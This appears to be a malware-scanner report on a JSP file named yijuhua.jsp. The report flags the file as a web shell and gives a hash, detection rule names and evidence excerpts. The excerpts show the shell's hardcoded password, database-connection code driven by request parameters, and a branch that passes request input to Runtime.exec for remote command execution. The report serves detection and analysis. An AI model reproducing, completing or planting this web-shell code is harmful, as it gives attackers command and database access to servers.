Hostile ^92% Download

yijuhua.jsp

Webshell with command execution

Web shells - generated from file JJJsp2.jspJSP page combines request access with Runtime execution

SHA-256f4a0353cab22847ddfe6a2f875cb941e5e4dd78c3eadc33d0bc9f2a38bccf606

Evidence

JSP page combines request access with Runtime execution lines 1–6

1<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
2<%!
3	String Pwd = "a";
4	String cs = "UTF-8";
5	String EC(String s) throws Exception {
6		return new String(s.getBytes("ISO-8859 …

Web shells - generated from file JJJsp2.jsp lines 8–16

28… rows Exception {
String[] x = s.trim().split("\r\n");
Class.forName(x[0].trim());
if(x[1].indexOf("jdbc:oracle")!=-1){
	return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
}else{
	Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
	if (x.length > 4) {
		c.setCatalog(x[4 …

Java servlet request parameter access lines 208–222

⋯7 lines
215%>
216<%
217	cs = request.getParameter("z0") != null ? request.getParameter("z0")+ "":cs;
218	response.setContentType("text/html");
219	response.setCharacterEncoding(cs);
220	StringBuffer sb = new StringBuffer("");
221	try {
222		String Z = EC(r …

Java getRuntime call reference lines 269–288

11… f (Z.equals("M")) {
	String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
	Process p = Runtime.getRuntime().exec(c);
	MM(p.getInputStream(), sb);
	MM(p.getErrorStream(), sb);
⋯5 lines
	PP(z1, sb);
} else if (Z.equals("Q")) {
	QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
}
} catch (Exception e) {
⋯5 lines